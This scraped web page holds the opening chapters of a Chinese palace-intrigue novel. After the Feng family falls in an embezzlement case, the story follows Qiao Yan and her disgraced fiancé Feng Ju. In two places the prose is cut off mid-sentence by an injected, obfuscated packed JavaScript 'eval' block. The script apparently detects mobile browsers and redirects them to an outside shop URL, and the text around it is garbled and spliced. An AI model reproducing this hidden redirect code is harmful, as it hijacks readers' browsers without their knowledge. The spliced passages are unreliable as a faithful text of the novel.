《太妃》 1. 噩耗 北安门外的昭回坊有一条老马胡同,里头住着很多蒙恩开府的太监,其中最大最气派的那一座府邸的大门正中高挂一个“董”字。 这儿是东厂提督太监董玉莲的府邸。 董玉莲是今上在潜邸时便随侍的老人,深蒙圣恩,从前担任司礼监掌印,在后宫一手遮天,后来迁为东厂提督,司礼监的掌印一职一直没有合适的人选出任,在皇帝的默许下由其义子董治代管。 自此,董氏一党宫内宫外耳目相连,权势滔天,除内阁首辅之外,无人敢与之争锋。 这样一个大奸似忠的人,自有其圆融。不论在外如何煊赫,东厂无事的时候,董玉莲还领着宫里奴婢当值的差事,在皇帝跟前尽忠。 这日不当值,他就歇在宫外府中。 正当夏至的午时末刻,太阳垂直地照下来,庭中明晃晃得看不到一点儿影子。 中堂门户大敞,董玉莲分着双腿,坐在堂屋中央的圈椅上,身后高几上摆着降温的冰块,手边挨着御赐的汝窑盏,里头还有一点茶沫。 两边各站着几个干儿孙,其中左手边第一个长眼圆脸,就是如今的司礼监代掌印董治。 虽有冰块降温,屋里仍有些燥热,却没人说话,好像都在等着什么。 不一会儿,两名厂役提来一人。那人被拖着胳膊架在中间,头挂在胸前,披头散发,中衣上只见污血。 厂役伸手一搡,那人就没有生气地趴在了地上。 “嘶——” 董玉莲眉头微皱,掩住鼻子,责备道:“怎么下手这般重,明日朝会,圣上要见他呢。” 其中一个厂役连忙拽起地上的头发,露出一张苍白麻木的面庞,双眼紧闭,乍一眼看去死了一般。 “奴婢们小心的很,没有动到脖子以上的地方,爷爷放心,到时候朝服一穿,谁也看不出来。” 董玉莲没作声,察觉到衣服领子似乎歪了,于是垂下眼捏着手指理了理。 这是不满意的意思。一旁的董治看到了,提起嗓子大声骂了出来:“你们跟了咱爷爷这么多年了,怎么连这点儿小事都办不好!这位可是投了爷爷门下的,干爹心疼还来不及,现今跟死了一样,明儿让人见了,还道咱爷爷不懂心疼小辈,随意作践呢!” “这,是奴婢们不好,爷爷恕罪!奴婢这就把他叫起来!” 厂役额头本就有汗,这片刻的工夫已经聚成了黄豆大的汗珠子,顺着脖子滚下来。他们顾不得擦,朝外招了招手,另有个穿着青贴里的杂役太监提着木桶走了进来。 董治忙举起自己衣袖,遮到董玉莲眼前。 哗啦! “啊——” 乔家的幺女,乔燕,从午睡中惊醒,说不出来做了个什么梦,只觉心慌气短,眼皮跳得厉害。 时值盛夏,酷暑烧得人口干,乔燕心神不宁,呆坐了片刻,赤脚下床,到桌边,端起午前放凉的茶灌了两口,方觉好受点。 “姑娘!您怎么又喝凉茶!” 宜婵恰掀帘入内间,见状一惊,快步走过来,一低头,声音又高了一成:“鞋也不穿!” 乔燕只能讪讪地放下瓷盏,缩回榻上,嘀咕道:“还来说我,一觉醒来不见你人,是不是去躲懒了。” 一句信口埋怨,却不防换来一阵沉默。 宜婵神情微变。张了张嘴,又闭上,蹲下去拾起绣鞋,避开她的眼睛。 乔燕敏锐地察觉到了一丝异样,心里微悸。窗外蝉鸣不歇,梦里带出的不安复涌上心头。 “发生什么事了吗?” 宜婵托住自家姑娘秀气的脚踝,套上绣鞋,一咬牙开了口:“奴婢方才去外院取例银,听外头的人都在传,在传……” “什么事,你快说呀!” “冯家出事了。” 外间有人道。 乔燕顾不得鞋子还没穿好,忙踩着鞋跟站起身:“母亲!” 衣着华贵的妇人转过屏风,搭着丫鬟的手,抬起手上的帕子洇了鼻尖的汗,端详着跟前娇憨天真的少女,眼里有着一丝怜悯。 她身为乔家二老爷的夫人,膝下育有两子,眼前这个少女非是她腹中所出,而是乔二爷年轻时在江南任上留下的风流债。 二十多年前,乔二老爷外放至姑苏,同僚赠了一名瘦马。瘦马性情柔弱,貌美无依,乔二老爷万分怜爱,日夜沉浸在温柔乡里,后来得了一个女儿。 等六年任满,乔二老爷独自回京述职,承诺有朝一日安定下来,就去接母女回京。 母女二人怎么也没想到,乔二爷却十分胆小惧内,回京后一是怕言官弹劾,二是怕发妻问责,对这段风流往事缄口不言,只每年偷偷送去点傍身的银两以慰良心。 直到有一年,二夫人无意间发现了丈夫托人赠钱,又打听到那姑苏的妇人只生了一个娘子,作主将人接回,把已经年满十三岁的乳名为“只只”的小娘子记入族谱,取名“乔燕”,乔家小辈里这才多出一个五娘。 许是因为在江南市井里长大,乔燕不通礼节,性情娇憨,又许是因为江南水土养人,这个半途回家的幺女,出落得十分明媚动人,若不是早早给她定下冯家的亲事,这几年间上门求亲的人怕是能把门槛踏破。 当年好心定下的亲事,拖到如今,谁料竟要成为一段孽缘…… 乔夫人收回思绪,心中叹息。 “半个月前,浙江一县令冒死绕过内阁上疏,揭露了两浙盐运司贪墨内幕,仅去年一年,就有二百万银,圣上大怒,命东厂秘查,最终竟牵出元辅冯忱。冯忱昨日入狱,夜里就自戕谢罪了。只是就算他死了也难平天怒,就在方才,冯忱三族之内均判了死刑。” 二百万银是什么概念呢,这么一大笔钱可以在一年内养活福建的一支海军。两浙盐运司系内阁辖下,此案非同寻常,恐怕牵连甚广,皇帝唯恐文官互相包庇,沆瀣一气,于是于明面上按捺不表,暗地里命锦衣卫协助东厂彻查,待“证据”呈案,顿发雷霆之威,打了内阁一个措手不及。 如今国库赤字已久,冯家居庙堂之高,竟还敢带头贪墨如此之巨,圣上不仅大怒,更有种被蒙骗的羞辱感,没有株连九族,已是天恩。 乔夫人三言两语道明原委,末了可怜道:“幸好三年前守孝,你和他的亲事拖了下来,不必受牵连。” 乔燕脸色煞白,身子晃了晃,被宜婵一把搀住。 乔二夫人与乔燕算不得亲厚,只是乔燕素来乖巧省心,二人未曾闹过龃龉,此刻见她一副天塌下来的模样,乔夫人不由也生出一丝不忍。 说起与冯家的亲事,从前那可真是打着灯笼都找不到的好姻缘。 与乔燕定亲的是冯家二郎,以弱冠之龄高中状元,得圣上钦点入翰林任修撰,只待过几年镶一身金,便将入六科观政,成为真正的国之重臣。 乔家两房只有乔燕一个娘子,虽说是外室生的,似乎配不上冯二郎,可这亲事是两家祖父年轻时就定下的,如今老人尚在,做不得废,冯家那头只能捏着鼻子认下。二人的婚事本是早早说好,偏好事多磨,起初等冯矩高中,后来又等乔燕守孝,三年又三年,好好一个娘子生生拖成了老姑娘。 眼见就要完婚,谁知冯家就这么倒了,令人唏嘘。 想到这里,乔夫人缓和了语气,安抚道:“五娘,你与那冯矩无缘,今后便当没认识过。母亲和父亲会为你再择一户好人家。” 乔夫人走后,乔燕呆立原地许久,眼角划过一抹白,扭头见是院子里的六月雪,在夏风里微微摆动。 有一片花瓣在风里离了枝头,慢悠悠地落在窗台上,像一片细小的雪花。 记忆里,去年春节那天就落了这么一场细雪。 酉时雪停,皇帝携后登楼,与民共庆佳节。 乔燕跟着乔二夫人站在女眷人堆里,因着尴尬的身份,京城的闺秀无人与她交好,眼见其他姑娘三两结伴,笑作一团,她触景生情,闷闷不乐,平添酸楚。 姨娘带她入京,她却待得并不自在,年前姨娘去世,整个世界仿佛只剩她一人,那种伶仃的孤独感日夜纠缠,难 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“那是我输了,这灯按赌约送你。这可是工部匠人扎的灯,只有皇城里有,你手上这一盏,乃是冯二方才从圣上手里得的赏,回去后别弄丢了。” 乔燕小心接过,仔细端详着灯面绘着的雀儿,身形滚圆,黑白相间的羽毛像燕子,却没有画长长的剪尾,憨态可掬,越看越觉可爱。 乔燕神情古怪:“这绘图墨还未干透,也是匠人绘的么。” “你眼睛倒利,是冯二绘的。” 乔燕脸颊微红,露齿而笑,“我就知道,多谢四哥。” 说完,忍不住朝冯矩看去。那边的冯矩本就在等乔翀同行,冷不防乔燕偷偷朝他看来,四目相对,冯矩微怔,随即温和地笑了笑。 周边的声响骤然远去,乔燕只听得见自己的心跳,青年长身玉立天地间,濯濯郎朗,赤忱高洁。 …… 乔燕忽然抓住宜婵的手:“你去找四哥,我想见他。” 宜婵心道四郎与姑娘素来亲近,说不定能劝开姑娘,于是便去了。 等待的时间里,乔燕扶着桌子慢慢在胡椅上坐下,也不知过了多久,听到几道匆匆的脚步声,乔燕这才重新起身,抬头时眼睛是红的。 “四哥!二哥……” 不止是乔翀一人前来,宜婵去时乔家几个兄弟待在一处,乔二郎乔湛放心不下,跟着一起来了。 乔翀眼眶亦红着,看向妹妹,黯然的脸上勉强挤出一个笑:“五娘,娘都与你说了吧……没事儿,回头让爹娘再给你找个好人家。” 乔燕拽紧手里袖口,鼓起勇气:“我想再见一见他。” 乔翀避开她的目光。 乔湛看不得弟弟这副软弱的模样,眉头一皱,冷声道:“你不能见他。” “我……” 乔燕鼓起勇气,想再争一争,却在触及二哥严厉的眼神时吓得住了嘴。 乔湛吐出一口浊气,再开口时已恢复了镇静,简单跟妹妹道明原委。 原来,就在今晨的朝会,董玉莲竟以冯矩“大义灭亲”为由向皇帝陈情。圣上感其所为,特许其留在翰林院,若能提出线索,助朝廷找到那二百万两白银,便可官复原职。 也因此,有冯矩的证词,冯忱的罪名可谓板上钉钉,再无置喙的余地。 一届元辅,两朝元老,落得如此下场,实在令人唏嘘。曾经风光如冯家,也如烈火烹油,火尽油枯了。 下朝后,不少人亲眼见到冯矩立在董玉莲的轿前听训,听那意思,似乎已经拜了董玉莲门下,十分令人不齿。 乔燕喃喃:“我不信……” “众目睽睽之下,由不得你不信。” 乔湛话已至此,便是言明要乔燕和冯矩划清关系,知人知面不知心,谁能料到曾经那个锦绣少年竟是如此苟且偷生之徒。 更何况,冯家公案虽断,那贪墨的两百万银却没有下落,曾经和冯家交往的人家俱是人人自危,生怕受冯家牵连,被东厂敲门抄家,落得家破人亡的下场。 2. 牵连 冯家被抄,却不见脏银,百姓恨东厂入骨,私下都猜测冯家头顶的是莫须有的罪名。 物议不止,传到皇帝耳中,龙颜大怒,给东厂下了半个月的死令。 这天乔湛仍如往常一样在翰林院校对文书,冥冥中只觉心神不宁,索性搁笔,正要去外面透口气,门在这时被人猛地推开。 “谁是乔湛?” 门外,一队锦衣卫来势汹汹。在他们身后跟着破口大骂的翰林们,却碍于明晃晃的兵器不敢近身。 乔湛缓缓起身,眉头微蹙,虽然被刀剑指着,气势却并不落下风。 “此地乃文翰之林,自高祖时起便有规定,不可携兵器入内,你们这是连高祖定下的规矩都不愿守了吗!” 锦衣卫充耳不闻,领头之人一抬手:“是就好,拿走。” 乔湛被他的猖獗激怒,大喝道:“乃敢!我好歹也是朝廷命官,敢问诸位可有缉拿令!?” 锦衣卫头领好似听到了什么笑话,先示意属下勿动,继而伸手入怀,摸了半天,摸出一张皱巴巴的纸团。他朝手指上啐了口唾沫,将纸团捻开,往前一送,谑笑道:“乔大人好胆色,希望等会到了诏狱也还能这样从容不迫。” 乔湛将那张纸看过,缉拿缘由果然写着疑与冯家贪墨一案有关。 他移开目光,只道:“我自己走。” 乔湛被缉的消息很快便由翰林院传到各衙门。乔二老爷乔允在鸿胪寺中乍一听闻,连手上的笔都抓不稳了,急忙告假赶回家,命人去文渊阁找乔大老爷乔广川。乔广川三年前顺利进入内阁,亦是乔家如今的顶梁柱。 长随领命而去,乔父在书房陷入了焦急的等待,身下如坐针毡,站起来在门边来回踱步。 没多久,守门的阍人就看见乔父身边的长随去而复返。 马尚未停步,长随就翻了下来,连摔带爬地扑向大门。阍人手上去扶他,心里直犯嘀咕:也不知出了什么急事,怎么脸白成这样。 长随手脚俱软,一时站不起来,干脆拽着阍人的手,喊道:“快,快告诉二老爷,大老爷也被抓走了!” 这个消息劈得乔父手足发软,跌坐太师椅,只觉一片灰暗。 就在这时,乔夫人出现在门外,因为走得太急,胸脯剧烈地起伏。看到乔父的脸色,她来不及缓口气,便扶着门框急道:“老爷!好消息。” 乔父颓丧地抹了把脸:“这个时候了,还能有什么好消息。” “宫里那位唐爷送来了回信,答应了老爷的求见。” 乔父一怔,随即眼里迸出光亮,差点没从椅子上跳起来:“信呢?!” 乔夫人从袖中取出,不及说话,被乔父一把抢过。 展开信,乔父匆匆看过,捏着信笺的手指止不住地颤抖,突然痛哭出声:“天不亡我乔家!” 这位“唐爷”全名唐直抒,是宫里都知监的掌印太监,曾为皇帝挡箭,简在圣心,就连董玉莲也要给他些脸面。与董玉莲不同,唐直抒行事低调周正,在官员里的口碑并不算差。 冯家一出事,乔广川担心被东厂株连,便未雨绸缪地搭上了这位爷的路子,不曾想一语成谶,这位唐公公如今竟成了唯一的希望。 也亏得在这样的时候,唐公公还愿意伸出手拉乔家一把。只是该如何握住这只手,还得周详。 直接求情是行不通的,唐直抒能混到如今的位置,必然是人精中的人精,岂会愿意下这滩浑水…… 乔父拿着信,一边想着,一边命人传话府上的门客至书房议事。 是夜漏断人静,弦月挂在枝头,繁星闪烁,交相增辉。 院子里的假山下有一淙引来的曲水,泠泠地流淌,蛙鸣不断,蚊虫低飞。一只晚归的夏燕自低处掠过,优雅地滑入檐下巢穴里。 自从白日乔家两位郎君来过后,乔燕便沉黯了下去,在窗前坐了一下午,饭菜怎么端来的,便怎么端了回去。 宜婵犹豫再三,还是来到她身后,一边为她拆妆,一边努力找着话头。 “燕子飞得低,好像要下雨了。” 乔燕没作声,宜婵又道:“姑娘头发像缎子一样,大夫人院子里的阿喜姐姐还来问过奴婢可有什么保养的秘方,想是给大夫人讨的。只是您这是天生,奴婢哪里说得出什么秘方。” “我想自己待一会儿,”乔燕握住发里的木梳,语气很轻,“姨娘倒在山贼刀下的时候我就知道了,世事无常,我能想透。但,但道理和感情,总是分开的。” 宜婵无声地叹了口气。 就在这时,一点灯火突然遥遥现在院外,在黑黢黢的夜里格外显眼。 宜婵将横窗推得更开些,仔细看着,迟疑道:“好像是夫人。” 这么晚了…… 乔燕心中疑惑,看了眼自己身上的中衣,草草披了一件长衫,勉强打起精神,起身到门口相迎。 乔夫人已经走到院边,抬头望到她,屏退身边的婢女,独自拎着灯踏入院门。 “母亲怎么这个时候来?” 乔夫人不答,看向宜婵她们:“我和五娘说些话。” 宜婵察觉到氛围有些不对,担忧地看了乔燕一眼,领着另两个小丫鬟退了出去。 乔燕将乔夫人引入内间,亲自奉上热茶。 “母亲要和女儿说什么?” 乔夫人没有立即言语,在喝茶的间隙里无言地打量着她。 本以为她要闹上一闹,没曾想等了一下午,也没听到什么动静,甚至眼眶都是干的,好像连眼泪都没怎么流。 乔夫人一时生出些许奇异的感受,这么多年,她第一次这么认真地看过这个捡来的便宜女儿,在不声不响中出落成这样。从前她有这样沉得住气吗?没印象了。 不过这样更好。思及对乔燕的安排,乔夫人竟忍不住想,她这样,送她入宫也许并非全然是坏事。 要说的话来的路上早已备好,乔夫人问道:“还记得你的小姑吗?” “记得,先贵妃娘娘仙逝前,女儿曾和祖母入宫见过她。” 乔夫人拉过她的手,细细打量一番,方感慨地道:“你和小姑长得是真像啊。” 乔燕的小姑,曾是文景帝最为宠爱的贵妃,文景帝甚至想过废后立之,被一众言官以死相逼才罢休。小姑自此冠上媚主的骂名,连带着乔家在朝中也遭受了很久的冷眼,直到小姑染疾去世,才重新渐渐立稳脚跟。 乔燕这时还不解乔夫人的来意,按捺住心中疑惑,说道:“女儿如何能跟先贵妃娘娘比。” 乔夫人又喝了一口茶,回味片刻,一叹:“这是金瓜贡茶,三品以上官员人家方分得五两,我待你虽不亲厚,却也没有刻薄分毫,贡茶一到家,便按照你三位兄长的份例,给你也送了一份来。这茶金贵,寻常人家终其一生,连闻一口茶香都是奢望……但这富贵,怕是要到头了。” 乔燕微惊:“母亲这是何意?” “你可知,今日你二哥和大伯皆被东厂羁走,东厂诏狱,进去的人从没有能囫囵出来的。你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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乔夫人既觉得可怜,又心生内疚,无力地道:“你我虽非亲生母女,但这些年来,我待你如何,你自知晓。我从不磋磨你,你要习字,又不便去学堂,我为你延请名师,就连说的亲事,当年也是顶好的,引多少姑娘歆羡。如果可以选,我们也不想送你入宫,将脊梁骨让给别人戳,但事到如今,是真的别无他法。” 乔夫人走了。 乔燕呆呆站了许久,等到宜婵不知何时进来,顺着她的力道在椅子上慢慢坐下,神情仍旧木然。 短短两日,她的人生天翻地覆。 记忆里,乔贵妃病逝前,她曾跟着乔家女眷入宫探亲。 彼时的乔贵妃已病笃经日,那天穿了一身正红的宫装,这个颜色一般宫嫔是不敢上身的,怕被责逾矩,但是贵妃娘娘独得圣眷,便是她把凤凰绣在衣服上,引得大臣争相弹劾,圣上也不会怪罪。 她着重色,却没有上妆,可就算如此,浓重的红也压不过素面朝天的五官。她是开在黄昏最浓的那片霞光下的牡丹,偏沾了一身书香清雅,压下颜色里的妩媚轻浮,只剩遥不可及的稠丽庄重。 便是这张莲上观音的皮相,让文景帝痴迷。 可是她们都知道,那时的乔贵妃没剩几日可活了。 闲话片刻,乔老夫人慈母心切,亲自去盯着宫女煎药。留下乔燕和乔贵妃独处一室。乔燕与这位小姑并不亲近,有些坐立难安。 贵妃盯着她看会儿,忽然抬手抚了她脸庞,感慨似的道:“这家中,竟是你与我有几分相像。只是这未必是美事,盼你日后莫做王谢燕,金丝作笼身作囚。” 日后莫做王谢燕,金丝作笼身作囚。现在再看,像谶言一样。 3. 见面 冯家问斩这天,正阳门外早早就聚集了很多百姓。 对他们来说,冯家这样的高门大户太遥远了,内阁首辅也太遥远了,唯一和他们有点关系的是,每年黄河决堤,北直隶的百姓就要增加赋税,据说这公文就是冯元辅批下的。 百姓们来这里,多是看个热闹。 冯忱自尽于诏狱,尸首亦随着冯家剩下的人被押到刑场,摆出跪地的姿势等待斩首。冯家人从囚车里出来,个个面黄肌瘦,蓬头垢面,浑然没有世家的矜贵,引得人评头论足,指指点点。 除了看热闹的百姓,刑场一侧还站着一群人,个个身穿素白缟衣,头戴白巾,从羁押的厂役出现便开始破口大骂,满口之乎者也、竖子贼臣。 “监斩官来了!” 人群里有人喊了一声,百姓的视线顿时朝监斩台后落去。 只见一个身形削瘦的年轻官员,穿着青色的补服,微垂着头,一步一步地走向临时搭建的凉棚。 “这就是监斩官?”一位赤膊农人奇道。 “好年轻的大人。” “冯矩!你不得好死!!” 另一边,穿缟衣的人群仿佛炸开了锅,有人赤红着眼想要冲上前,被中城兵马司的士兵拦下。 他们只能隔着人墙怒骂。 一旁的百姓听在耳里,凑了个囫囵,才知监斩官原也是冯家人,却因为贪生怕死,投了董玉莲门下,还要来亲自看着亲人砍头。 众多惊诧的、嫌恶的、怨憎的眼神投到高台上,冯矩恍若未闻,端坐案后,双手放在膝上,掩在袖后。 他微垂着头,眉目亦垂,面对台下扑面而来的叫骂,不动如钟。 啪! 从书生的人群里扔出了一枚生鸡蛋,正好砸在了冯矩的帽子上,他被打得偏了一下头,腥臭的蛋液顺着乌黑的官帽缓缓流下,挂上眉毛。 “冯矩!尔与阉竖合流,不孝不义,狗彘不如!!” 空气为之一滞,良久,冯矩终于迟缓地抬起袖子,正要擦脸,却在这时,又一枚石子砸了过去,他没有反应过来,那枚石子擦着他的侧脸飞过。 他似乎怔住,想要擦脸的手慢慢放了回去。 “大人,奴婢替您擦一擦吧。您坐在这,好歹是天家的脸面。” 冯矩如今是戴罪之身,等找到赃款才能官复原职。不过他代天子监刑,此刻勉强算个天使,旁人拿不准该怎么称呼,就含糊喊一声“大人”。 眼前递来一方汗巾,隐隐带着股皂香。这人是董玉莲派来的一名干儿子,好像姓姚。 冯矩已无意去区分他的为人与立场,微闭眼,任由他动作,低声道了一句多谢。 这样漫长的时间里,案上线香终于燃去三分之一,冯矩从签筒里抽出一枚玄色签令,掷向法场。 这根签令被称为“送信签”,若犯人有亲朋好友,可在这时进入法场,送案犯最后一程。 然而冯家老小皆羁押于此,再者人走茶凉,从前旧交尚不能独善其身,又何来的亲故。 无人送行,未免冷寂。 片刻之后,那群读书人里三两步冲出一人,跪倒在冯忱的尸首跟前,颤抖地伸出手,为他拂去鞋上尘埃。 “学生乃劝学街借住生员,来京游学,苦无分文,若无您出资修建劝学街,供学生等食宿,学生怕早已撑不下去回乡了。冯公行义节高,不求回报,学生铭感在心,今以生礼为您送行。” 他哭着叩头,忽然似发现了什么,激动地仰起脖子,朝四周呐喊:“你们看!他身上的衣服打着补丁啊!” 冯忱在诏狱受尽酷刑,却不好直接示之于众,赴刑场前由冯家女眷为他收拾了遗容,穿着洁净的中衣,衣袖处补丁针脚细密,若不近看还真看不出来。 冯家门风清正,何曾真的贪墨,污名加身,诉冤无门,孰料满腹冤屈此刻竟被素未谋面之人喊了出来。 冯忱的长子不由泪湿衣襟,伸出套着木枷的手,扶住那位读书人,低声劝道:“好孩子,你回去吧,你再待下去,前程不保啊……” 孰料这人是个二愣子,并没有领会冯家人的好心,反而大声道:“若只要站对队伍、拜对师门就有前程,那这样的前程不要也罢!” 此言一出,如风过麦地,麦浪翻涌,那群读书人皆被激出血性,长跪于地。 “学生亦客居劝学街,来为冯公送行。” “学生亦是!” 满目素缟,长歌当哭。 冯矩安静地看着这一幕,心想,这或许是他这辈子见过的最肃穆、最愤怒的白色。 就在这时,冯矩注意到,人群边上有人掏出了一个小册子,盯着这群读书人,似乎正在记什么。 这人穿着便衣,冯矩却认得是锦衣卫。他手上的册子,便是掌管很多人死生的无常簿。 冯矩面色微变,豁然起身,道:“肃静!” 他的声音并不大,帽子上还残留着干涸的蛋液,然面色平静,这样独立高台,竟也有岿然气势。 百姓议论渐熄,读书人恨目而视,就连那几个锦衣卫也好奇停笔看了过去。 冯矩朗声道:“圣人留‘送信签’,意为于法理之下可度人情,然尔等在此言谬悠之说,行惑众之为,是何居心?给本官将他们拿下,待后再审!” 这一句顿时将法场炸开了锅。 兵马司的士兵本意是在此维护纪律,以防一些突发状况,闻言稍有愣怔,虽然心中也觉得这位监斩官太过冷酷,却不得不听令去抓那群手无缚鸡之力的读书人。 有人被士兵抓住双臂,动弹不得,嘶吼道:“冯——矩——你还有没有良心!!” 冯矩面无表情地听着。 “冯大人,秋小旗请来了。” 冯矩抬头,站在他面前的正是方才人群中的锦衣卫,年约三十,留着茬须,穿着胡裤,腰间配着一柄细长的刀,看起来没有半分武将的劲儿,像市井里的泼皮。 这人冯矩并不陌生,秋淼,人称“秋三水”,锦衣卫小旗。正阳门到猪市口整条大街都在这位秋小旗管辖的范畴下,从前上下值,常见到秋三水领着七八个锦衣卫被沿街商户谄媚地送出来。 “冯大人好威风啊,我们方才都被唬住了。” 冯矩拱手道:“那群人法场闹事,有何目的,我稍后会审清楚,还请阁下将方才在无常簿上记的东西交给我,以供审问。” 文官多自诩清高,秋淼吊儿郎当,态度十分无礼,换成旁人不说当场黑脸,也多少有所不齿,冯矩却仍礼仪周到。秋三水鹰眼盯着他看了半晌,才发觉他是真的不在意,严于律己,宽以待人,说的就是这样的人,不由啧啧称奇。 “冯大人常年坐在书架子后面拿笔杆子,对这审问的流程恐怕不太清楚,这是我们锦衣卫分内的事,自然该由我们来做。” 冯矩作了一揖:“冯某代圣人监刑,刑场之上,事无大小,均属我管辖。他们不过逞一时口舌之快,并未犯什么大错,请大人网开一面。” 他拿圣人压下,又给足面子,倒真不好继续胡搅蛮缠了。 秋三水从无常簿上撕下一页纸,纸上才记了三个半名字。冯矩垂眸接过,心下一松,道:“多谢。” “多谢?”秋小旗咂摸,“哈,多谢?老子干这行这么久,还是第一次听这两个字。冯大人,你可真是个有趣之人。你为他们操这个心做什么,他们又不会领你的情,他们不仅不会领情,而且还一直骂你。” “他们骂我,是因为我有过错。” 秋三水煞觉有趣,吊眉一笑:“你有什么过错?你如果有过错,为什么到现在都不见冯家人骂你?” 冯矩折起纸片的动作微顿。 不愧是能做圣人眼睛的锦衣卫,心眼竟这般尖。 但冯矩并不想在他面前诉冤,假装没有听到,将纸片塞进袖中,看一眼燃到头的线香,拱手道:“请大人下去吧,行刑的时辰到了。” 签落事定,左不过血溅三尺,人头落地。满场寂然,无有哗者。 及至天色渐暗,暮鼓既响,街上罕有人烟。 菜市口,衙门寻来的挑夫将尸首垒成几垛,搬上板车,准备送去城郊乱葬岗。 就在这时,一道瘦长的影子出现在他们跟前。 “我来为冯公殓尸,请诸位将冯公的尸首给我。” 太阳落下,月亮还未升起,正是天色最暗的时候,视野里什么都看不清。 监管挑夫的衙役把手上的风灯往前举了举,照亮来人脸庞,不由惊愕:“你,你不是今日监斩的那个……” 这个人是冯忱之后,来收尸倒也不为奇,但他今日白天做派,与冯家并不似一路人啊。 认出来人,衙役不敢得罪,赔笑道:“大人,若寻常斩首的尸体也就罢了,但今日这个上头有吩咐,须得曝野三天,不得有人收尸。” 冯矩身边还跟着一人,正是白天就跟着他的那名姚公公,闻言上前一步,出示了东厂的牙牌,道:“冯家子一片孝心,厂公恩许他为冯忱收尸。” 衙役只瞧了一眼牙牌,不敢细看,忙躬身让挑夫拣出冯忱的身躯和脑袋,把脑袋放在身躯上,正要说什么,却见冯矩已经蹲身,在一地血污里双手托起了冯忱的尸首。 接着他在原地站了一会儿,垂目看着冯忱的头颅。冯忱双眼紧闭,像是至死都在拒绝和他解释什么。 冯矩不再去看,转过身,对挡着路的衙役轻声道:“劳驾。” 衙役心里一颤,忙避到一旁。 姚公公道:“冯大人,那我们就……” 冯矩打断他:“接下来的路可否容冯某一人独行。” 姚公公奉董玉莲的命令,来监管冯矩,相处这么多日,他对这位年轻人生出许多敬佩和怜惜,不由一叹,在自己权力内给了些许方便:“只这条道,我在城门口等您,等会儿您出城,还得我手头的牙牌呢。” “多谢公公。” 冯矩抱着祖父,一步一步朝城外走去。 眼见的远离了身后的灯火,举目皆是黑暗,终有一行清泪,顺着脸颊流了下来。有那么一瞬间,他觉得自己不如碎在这黑暗里,总好过活着去听那些数不清的谩骂。 忽然,身边有人低低唤了一句:“冯二郎。” 一时疑为幽魂索命,冯矩驻足闭目,竟感受到了一丝解脱。 “冯二郎!” 这声更清楚了些。 缺月东升,借着这缕月光,冯矩看清了身边之人,恍然以为自己出现了幻觉。 “……五娘?” “是我,”乔燕往前一步,踩在月光下,少有的大胆地凝视着他,“我来送送你。” “已经是宵禁的时辰,你怎能一个人在此,你家里人呢!”冯矩皱起眉,言辞里是罕见的严厉。 乔燕满不在意地笑了一笑:“我下午要出门逛一逛,母亲亲口允下,只是恐怕没想到我竟有胆子甩开婢女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16996279|193889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,乔家现在想必已经在找我了,不过我不想回去,我想送送你。” 她跟往常有些不一样,冯矩察觉出了什么,眼含担忧:“为何不想回家?” 乔燕答非所问:“你是来为冯公收尸的吗?为何只收殓他一人,你的父兄亲眷呢?” “董玉莲只允我殓一人。” 说到此处,冯矩脸上细微的表情已悉数收尽,容色平静:“乔姑娘还是尽快回家吧。” 乔燕不答,也不离开,跟着他的步伐往前走了数十步,忽然道:“今日刑场我也在。众人骂你,为何独冯家人不骂你?” 冯矩脚步一顿。 “你有苦衷。” 短短四个字,如利剑撕破冯矩的心防。 他此前竟不知,乔家这位温顺的姑娘,竟也能犀利至此。 冯矩苦笑:“很明显么?” “怎么,有谁也这么说过吗?”乔燕有些好奇。 “锦衣卫的一位小旗,今日同样问过我这个问题。” “其实很明显,端看愿不愿去想,愿不愿信。” “信什么?” “信你。很多人就算注意到了这件事,也不会多想,他们觉得你有罪,便不会去想,你是不是有苦衷。” 说这句话时,乔燕停住了脚步。 冯矩下意识跟着停下,回首看她。 秋三水问他为什么,是怀着看好戏的心态,唯有乔燕,是真的信他。 但什么叫做“苦衷”呢? 不能为人道,才叫苦衷。 被冯忱逼着跪在董玉莲跟前,是冯矩这辈子最痛苦的时刻。他不愿这样舍去尊严地苟活,更无法理解祖父的命令。 他手上戴着镣铐,背脊却挺的笔直,不愿违抗祖父,于是怒视着上首坐着的董玉莲。 董玉莲笑笑,端起杯子喝了一口茶:“我收了半辈子的门生,可没见过这样拜师的,这般骨头硬的学生,谁若是收下,怕会折寿吧。” 冯忱朝孙儿喝道:“你给我跪下!” 冯矩沉默以抗。 冯忱闭眼,自己朝着董玉莲直挺挺地跪了下去。 这一辈子,冯矩只见他跪过天子,这一幕在冯矩看来,有一种不真实的感觉,心里除了震惊,只剩荒唐。 “爷爷……” 冯忱只闭目不言。冯矩知道,这是冯忱在用这种方式逼迫他,爷替孙跪,让他如何自处。 他的脑袋一片空白,膝盖缓缓弯曲,耳边听到什么轰然坍塌。 “有点儿意思,这学生看来不收也不行了。”董玉莲接过奴婢递来的茶盏,笑呵呵地看着这幕闹剧。 冯忱匍匐下去,两鬓衰白,背脊瘦的可以在中衣上看到一节一节骨头,声音格外苍老:“求厂公留他一条性命,无须官禄厚之,不致让冯家绝后就行。我这孙儿骨头硬,您有看不惯的多打一打,打折了,也就听话了。” “真没想到,我这辈子竟能得冯相公跪拜,也算无有遗憾了,”董玉莲看起来格外满意,“既然您话都说到这份儿上了,那我只好倚老卖老一回,多替您管教管教这不成器的孙儿,您就安心去吧。” 说着,董玉莲从奴婢手里取过一根乌黑油亮的长鞭,起身踱到他们后边,一扬手,鞭风呼啸,毫不留情地抽在冯忱背后。 